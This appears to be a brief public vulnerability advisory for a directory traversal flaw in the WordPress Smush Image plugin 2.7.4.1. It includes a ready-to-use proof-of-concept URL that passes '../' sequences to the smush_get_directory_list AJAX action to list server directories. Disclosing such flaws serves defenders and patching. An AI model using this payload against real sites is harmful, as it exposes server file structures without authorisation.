WordPress Smush Image 2.7.4.1 Directory Traversal

Class  File transversal
Remote  Yes
Credit  Ricardo Sanchez

Smush Image Wordpress WP plugin is prone to file transversal vulnerability
because it fails to sufficiently folders privacy.

To exploit this issue following steps:

Demo url:
http://localhost/wordpress/wp-admin/admin-ajax.php?dir=../../../../../../&multiSelect=true&action=smush_get_directory_list&list_nonce=xxxxxxx


Confirm:
https://wordpress.org/support/topic/file-transversal-bug/#post-9554401